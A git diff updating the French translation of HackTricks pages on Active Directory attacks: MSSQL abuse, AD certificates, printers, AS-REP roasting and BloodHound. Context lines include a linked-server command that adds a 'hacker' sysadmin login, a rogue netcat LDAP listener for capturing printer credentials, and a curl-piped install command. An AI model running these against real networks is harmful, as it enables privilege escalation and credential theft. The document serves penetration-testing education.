arrivé**. S'il vous plaît, faites-le nous savoir via les problèmes Github, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**. +**Nous sommes désolés. Cela ne devrait pas s'être produit**. S'il vous plaît, faites-le nous savoir via les problèmes Github, Twitter, Discord... le lien de la page HackTricks avec le contenu et le lien de votre blog et **nous le vérifierons et l'ajouterons dès que possible**. {% hint style="danger" %} * **Que dois-je faire s'il y a du contenu de mon blog dans HackTricks et que je ne veux pas qu'il y soit?** {% endhint %} -Dans tous les cas, sachez que dans ce cas, HackTricks améliorerait votre **SEO** et encouragerait les gens à **consulter votre page** (des personnes nous ont mentionné que depuis qu'une de leurs pages est dans HackTricks, elles reçoivent plus de visites). Si vous souhaitez toujours que le contenu de votre blog soit supprimé de HackTricks, faites-le nous savoir. +Dans tous les cas, sachez que dans ce cas, HackTricks améliorerait votre **SEO** et **encouragerait** les gens à **consulter votre page** (des personnes nous ont mentionné que depuis qu'une de leurs pages est dans HackTricks, elles reçoivent plus de visites). Si vous souhaitez toujours que le contenu de votre blog soit supprimé de HackTricks, faites-le nous savoir. -Notez qu'en demandant cela, nous **supprimerons définitivement tous les liens vers votre blog**, et tout contenu basé sur celui-ci. +Notez qu'en demandant cela, nous supprimerons définitivement **tous les liens vers votre blog**, et tout contenu basé sur celui-ci. {% hint style="danger" %} * **Que dois-je faire si je trouve du contenu copié-collé dans HackTricks?** {% endhint %} -**Malheureusement, cette pratique a pu se produire au début du projet lorsque cette page n'était que les notes d'un pentester**. Nous essayons toujours de **donner tout le crédit aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé (même avec la source originale référencée), faites-le nous savoir et nous le **supprimerons**, **laisserons le lien**, ou le **réécrirons**. +**Malheureusement, cette pratique a pu se produire au début du projet lorsque cette page n'était que les notes d'un pentester**. Nous essayons toujours de **donner tout le crédit aux auteurs originaux**. Si vous trouvez une page avec du contenu copié-collé (même avec la source originale référencée), faites-le nous savoir et nous le **supprimerons**, **laisserons le lien**, ou **le réécrirons**. -## LICENCE +## LICENCE Droits d'auteur © Tous droits réservés sauf indication contraire. @@ -139,13 +139,13 @@ Cette licence n'accorde aucun droit de marque ou de branding en relation avec le ## **Avertissement** {% hint style="danger" %} -Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni sur la base du "tel quel", et les auteurs et éditeurs ne font aucune déclaration ou garantie d'aucune sorte, expresse ou implicite, sur l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à ces informations est donc strictement à vos risques et périls. +Ce livre, 'HackTricks', est destiné à des fins éducatives et informatives uniquement. Le contenu de ce livre est fourni sur la base du "tel quel", et les auteurs et éditeurs ne font aucune déclaration ou garantie d'aucune sorte, expresse ou implicite, concernant l'exhaustivité, l'exactitude, la fiabilité, la pertinence ou la disponibilité des informations, produits, services ou graphiques connexes contenus dans ce livre. Toute confiance que vous accordez à ces informations est donc strictement à vos risques et périls. -Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, perte ou dommage indirect ou consécutif, ou toute perte ou dommage découlant de la perte de données ou de bénéfices résultant de, ou en relation avec, l'utilisation de ce livre. +Les auteurs et éditeurs ne seront en aucun cas responsables de toute perte ou dommage, y compris, sans limitation, perte ou dommage indirect ou consécutif, ou toute perte ou dommage quel qu'il soit découlant de la perte de données ou de bénéfices résultant de, ou en relation avec, l'utilisation de ce livre. De plus, les techniques et astuces décrites dans ce livre sont fournies à des fins éducatives et informatives uniquement, et ne doivent pas être utilisées à des fins illégales ou malveillantes. Les auteurs et éditeurs ne cautionnent ni ne soutiennent aucune activité illégale ou contraire à l'éthique, et toute utilisation des informations contenues dans ce livre se fait aux risques et périls de l'utilisateur et à sa discrétion. -L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours demander conseil et assistance professionnels lorsqu'il tente de mettre en œuvre l'une des techniques ou astuces décrites ici. +L'utilisateur est seul responsable de toute action entreprise sur la base des informations contenues dans ce livre, et doit toujours rechercher des conseils professionnels et une assistance lors de la tentative de mise en œuvre de l'une des techniques ou astuces décrites ici. En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeurs de toute responsabilité et de toute responsabilité pour tout dommage, perte ou préjudice pouvant résulter de l'utilisation de ce livre ou de l'une des informations qu'il contient. {% endhint %} @@ -154,12 +154,12 @@ En utilisant ce livre, l'utilisateur accepte de dégager les auteurs et éditeur Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! -D'autres façons de soutenir HackTricks : +Autres façons de soutenir HackTricks : -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts Github.
diff --git a/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index cd6119848..8a3bf81a1 100644 --- a/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -1,8 +1,8 @@ -# Abus AD MSSQL +# Abus de MSSQL AD
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -14,7 +14,7 @@ ## **Énumération / Découverte MSSQL** -Le module powershell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) est très utile dans ce cas. +Le module PowerShell [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) est très utile dans ce cas. ```powershell Import-Module .\PowerupSQL.psd1 ``` @@ -172,8 +172,8 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT ``` ## Élévation locale des privilèges -L'utilisateur local **MSSQL** a généralement un type de privilège spécial appelé **`SeImpersonatePrivilege`**. Cela permet au compte d' "usurper l'identité d'un client après authentification". +L'utilisateur local **MSSQL** a généralement un type spécial de privilège appelé **`SeImpersonatePrivilege`**. Cela permet au compte d'**"usurper l'identité d'un client après authentification"**. -Une stratégie que de nombreux auteurs ont développée consiste à forcer un service **SYSTEM** à s'authentifier auprès d'un service malveillant ou de type homme du milieu que l'attaquant crée. Ce service malveillant peut alors usurper l'identité du service **SYSTEM** pendant qu'il tente de s'authentifier. +Une stratégie à laquelle de nombreux auteurs ont pensé est de forcer un service **SYSTEM** à s'authentifier auprès d'un service malveillant ou de l'homme du milieu que l'attaquant crée. Ce service malveillant peut alors usurper l'identité du service **SYSTEM** pendant qu'il essaie de s'authentifier. [SweetPotato](https://github.com/CCob/SweetPotato) propose une collection de ces différentes techniques qui peuvent être exécutées via la commande `execute-assembly` de Beacon. diff --git a/windows-hardening/active-directory-methodology/ad-certificates.md b/windows-hardening/active-directory-methodology/ad-certificates.md index b43ff3e54..8dc1ca4b6 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates.md +++ b/windows-hardening/active-directory-methodology/ad-certificates.md @@ -9,8 +9,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -20,12 +20,12 @@ Autres façons de soutenir HackTricks : - Le **Sujet** du certificat désigne son propriétaire. - Une **Clé publique** est associée à une clé détenue en privé pour lier le certificat à son propriétaire légitime. -- La **Période de validité**, définie par les dates **NotBefore** et **NotAfter**, marque la durée d'efficacité du certificat. +- La **Période de validité**, définie par les dates **NotBefore** et **NotAfter**, marque la durée effective du certificat. - Un **Numéro de série** unique, fourni par l'autorité de certification (CA), identifie chaque certificat. - L'**Émetteur** fait référence à la CA qui a délivré le certificat. - **SubjectAlternativeName** permet d'ajouter des noms supplémentaires pour le sujet, améliorant la flexibilité d'identification. - Les **Contraintes de base** identifient si le certificat est pour une CA ou une entité finale et définissent les restrictions d'utilisation. -- Les **Usages étendus des clés (EKUs)** délimitent les objectifs spécifiques du certificat, tels que la signature de code ou le chiffrement des e-mails, à travers des Identifiants d'Objet (OID). +- Les **Usages étendus des clés (EKUs)** délimitent les objectifs spécifiques du certificat, comme la signature de code ou le chiffrement des e-mails, à travers des Identifiants d'Objet (OID). - L'**Algorithme de signature** spécifie la méthode de signature du certificat. - La **Signature**, créée avec la clé privée de l'émetteur, garantit l'authenticité du certificat. @@ -44,7 +44,7 @@ AD CS reconnaît les certificats de CA dans une forêt AD à travers des contene ### Acquisition de certificats : Flux de demande de certificat client -1. Le processus de demande commence par les clients trouvant une CA d'entreprise. +1. Le processus de demande commence avec les clients trouvant une CA d'entreprise. 2. Une CSR est créée, contenant une clé publique et d'autres détails, après la génération d'une paire de clés publique-privée. 3. La CA évalue la CSR par rapport aux modèles de certificat disponibles, délivrant le certificat en fonction des autorisations du modèle. 4. Après approbation, la CA signe le certificat avec sa clé privée et le renvoie au client. @@ -57,7 +57,7 @@ Définis dans AD, ces modèles détaillent les paramètres et autorisations pour Le processus d'inscription des certificats est initié par un administrateur qui **crée un modèle de certificat**, ensuite **publié** par une Autorité de Certification d'Entreprise (CA). Cela rend le modèle disponible pour l'inscription des clients, une étape réalisée en ajoutant le nom du modèle au champ `certificatetemplates` d'un objet Active Directory. -Pour qu'un client puisse demander un certificat, des **droits d'inscription** doivent être accordés. Ces droits sont définis par des descripteurs de sécurité sur le modèle de certificat et la CA d'entreprise elle-même. Les autorisations doivent être accordées dans les deux emplacements pour qu'une demande soit réussie. +Pour qu'un client demande un certificat, des **droits d'inscription** doivent être accordés. Ces droits sont définis par des descripteurs de sécurité sur le modèle de certificat et la CA d'entreprise elle-même. Les autorisations doivent être accordées aux deux emplacements pour qu'une demande soit réussie. ### Droits d'inscription de modèle @@ -83,7 +83,7 @@ Les certificats peuvent être demandés via : 2. Le **Protocole distant ICertPassage** (MS-ICPR), via des tubes nommés ou TCP/IP. 3. L'**interface web d'inscription de certificat**, avec le rôle d'inscription web de l'Autorité de Certification installé. 4. Le **Service d'inscription de certificat** (CES), en conjonction avec le service de politique d'inscription de certificat (CEP). -5. Le **Service d'inscription de périphérique réseau** (NDES) pour les périphériques réseau, en utilisant le Protocole d'Inscription de Certificat Simple (SCEP). +5. Le **Service d'inscription de périphériques réseau** (NDES) pour les périphériques réseau, en utilisant le Protocole d'Inscription de Certificat Simple (SCEP). Les utilisateurs Windows peuvent également demander des certificats via l'interface graphique (`certmgr.msc` ou `certlm.msc`) ou des outils en ligne de commande (`certreq.exe` ou la commande `Get-Certificate` de PowerShell). ```powershell @@ -96,7 +96,7 @@ Active Directory (AD) prend en charge l'authentification par certificat, utilisa ### Processus d'authentification Kerberos -Dans le processus d'authentification Kerberos, la demande d'un Ticket Granting Ticket (TGT) par un utilisateur est signée à l'aide de la **clé privée** du certificat de l'utilisateur. Cette demande subit plusieurs validations par le contrôleur de domaine, notamment la **validité**, le **chemin** et le **statut de révocation** du certificat. Les validations incluent également la vérification que le certificat provient d'une source de confiance et la confirmation de la présence de l'émetteur dans le magasin de certificats **NTAUTH**. Des validations réussies entraînent la délivrance d'un TGT. L'objet **`NTAuthCertificates`** dans AD, se trouve à : +Dans le processus d'authentification Kerberos, la demande d'un Ticket Granting Ticket (TGT) d'un utilisateur est signée à l'aide de la **clé privée** du certificat de l'utilisateur. Cette demande subit plusieurs validations par le contrôleur de domaine, notamment la **validité**, le **chemin**, et le **statut de révocation** du certificat. Les validations incluent également la vérification que le certificat provient d'une source de confiance et la confirmation de la présence de l'émetteur dans le magasin de certificats **NTAUTH**. Des validations réussies entraînent la délivrance d'un TGT. L'objet **`NTAuthCertificates`** dans AD, se trouve à : ```bash CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC= ``` @@ -106,7 +106,7 @@ Schannel facilite les connexions sécurisées TLS/SSL, où lors d'une poignée d ### Énumération des services de certificats AD -Les services de certificats AD peuvent être énumérés via des requêtes LDAP, révélant des informations sur les **Autorités de certification d'entreprise (CA)** et leurs configurations. Cela est accessible par tout utilisateur authentifié dans le domaine sans privilèges spéciaux. Des outils comme **[Certify](https://github.com/GhostPack/Certify)** et **[Certipy](https://github.com/ly4k/Certipy)** sont utilisés pour l'énumération et l'évaluation des vulnérabilités dans les environnements AD CS. +Les services de certificats AD peuvent être énumérés à travers des requêtes LDAP, révélant des informations sur les **Autorités de certification d'entreprise (CA)** et leurs configurations. Cela est accessible par n'importe quel utilisateur authentifié du domaine sans privilèges spéciaux. Des outils tels que **[Certify](https://github.com/GhostPack/Certify)** et **[Certipy](https://github.com/ly4k/Certipy)** sont utilisés pour l'énumération et l'évaluation des vulnérabilités dans les environnements AD CS. Commandes pour utiliser ces outils : ```bash @@ -129,14 +129,14 @@ certutil -v -dstemplate
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/windows-hardening/active-directory-methodology/ad-dns-records.md b/windows-hardening/active-directory-methodology/ad-dns-records.md index 70d956bad..6ec8537d9 100644 --- a/windows-hardening/active-directory-methodology/ad-dns-records.md +++ b/windows-hardening/active-directory-methodology/ad-dns-records.md @@ -2,7 +2,7 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -27,7 +27,7 @@ Pour plus d'informations, consultez [https://dirkjanm.io/getting-in-the-zone-dum
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) diff --git a/windows-hardening/active-directory-methodology/ad-information-in-printers.md b/windows-hardening/active-directory-methodology/ad-information-in-printers.md index 975d79105..3064740d5 100644 --- a/windows-hardening/active-directory-methodology/ad-information-in-printers.md +++ b/windows-hardening/active-directory-methodology/ad-information-in-printers.md @@ -7,13 +7,13 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-Il existe plusieurs blogs sur Internet qui **mettent en évidence les dangers de laisser des imprimantes configurées avec LDAP avec des identifiants de connexion par défaut/faibles**.\ +Il existe plusieurs blogs sur Internet qui **mettent en évidence les dangers de laisser des imprimantes configurées avec LDAP avec des** identifiants de connexion **par défaut/faibles**.\ Cela est dû au fait qu'un attaquant pourrait **tromper l'imprimante pour s'authentifier contre un serveur LDAP malveillant** (généralement un `nc -vv -l -p 444` suffit) et capturer les **identifiants de l'imprimante en clair**. De plus, plusieurs imprimantes contiendront des **logs avec des noms d'utilisateur** ou pourraient même être capables de **télécharger tous les noms d'utilisateur** du contrôleur de domaine. @@ -61,14 +61,14 @@ slapd -d 2
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS HackTricks)! Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github. +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
diff --git a/windows-hardening/active-directory-methodology/asreproast.md b/windows-hardening/active-directory-methodology/asreproast.md index 9d8aab703..7b214ea93 100644 --- a/windows-hardening/active-directory-methodology/asreproast.md +++ b/windows-hardening/active-directory-methodology/asreproast.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@@ -22,7 +22,7 @@ Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSb Engagez-vous avec du contenu qui explore le frisson et les défis du piratage **Actualités de piratage en temps réel**\ -Restez à jour avec le monde du piratage à rythme rapide grâce aux actualités et aux informations en temps réel +Restez à jour avec le monde du piratage rapide grâce aux actualités et aux informations en temps réel **Dernières annonces**\ Restez informé des dernières primes de bugs lancées et des mises à jour cruciales de la plateforme @@ -123,8 +123,8 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/bloodhound.md b/windows-hardening/active-directory-methodology/bloodhound.md index 78ce7d77b..a69f594b0 100644 --- a/windows-hardening/active-directory-methodology/bloodhound.md +++ b/windows-hardening/active-directory-methodology/bloodhound.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@@ -16,7 +16,7 @@ [L'Explorateur AD](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) est issu de la Suite Sysinternal : -> Un visualiseur et éditeur avancé d'Active Directory (AD). Vous pouvez utiliser l'Explorateur AD pour naviguer facilement dans une base de données AD, définir des emplacements favoris, afficher les propriétés et attributs des objets sans ouvrir de boîtes de dialogue, modifier les autorisations, afficher le schéma d'un objet et exécuter des recherches sophistiquées que vous pouvez enregistrer et réexécuter. +> Un visualiseur et éditeur avancé de l'Active Directory (AD). Vous pouvez utiliser l'Explorateur AD pour naviguer facilement dans une base de données AD, définir des emplacements favoris, afficher les propriétés et attributs des objets sans ouvrir de boîtes de dialogue, modifier les autorisations, afficher le schéma d'un objet et exécuter des recherches sophistiquées que vous pouvez enregistrer et réexécuter. ### Instantanés @@ -51,10 +51,10 @@ Les **ingestors** sont utilisés pour **énumérer le domaine et extraire toutes L'**application de visualisation utilise neo4j** pour montrer comment toutes les informations sont liées et pour montrer différentes façons d'escalader les privilèges dans le domaine. ### Installation -Après la création de BloodHound CE, l'ensemble du projet a été mis à jour pour faciliter son utilisation avec Docker. Le moyen le plus simple de commencer est d'utiliser sa configuration Docker Compose préconfigurée. +Après la création de BloodHound CE, l'ensemble du projet a été mis à jour pour faciliter son utilisation avec Docker. La manière la plus simple de commencer est d'utiliser sa configuration Docker Compose préconfigurée. -1. Installez Docker Compose. Cela devrait être inclus dans l'installation de [Docker Desktop](https://www.docker.com/products/docker-desktop/). -2. Exécutez : +1. Installer Docker Compose. Cela devrait être inclus dans l'installation de [Docker Desktop](https://www.docker.com/products/docker-desktop/). +2. Exécuter : ``` curl -L https://ghst.ly/getbhce | docker compose -f - up ``` @@ -93,3 +93,15 @@ group3r.exe -f [**PingCastle**](https://www.pingcastle.com/documentation/) **évalue la posture de sécurité d'un environnement AD** et fournit un **rapport** détaillé avec des graphiques. Pour l'exécuter, vous pouvez exécuter le binaire `PingCastle.exe` et il démarrera une **session interactive** présentant un menu d'options. L'option par défaut à utiliser est **`healthcheck`** qui établira une **vue d'ensemble** de **domaine**, et trouvera des **mauvaises configurations** et des **vulnérabilités**. + +
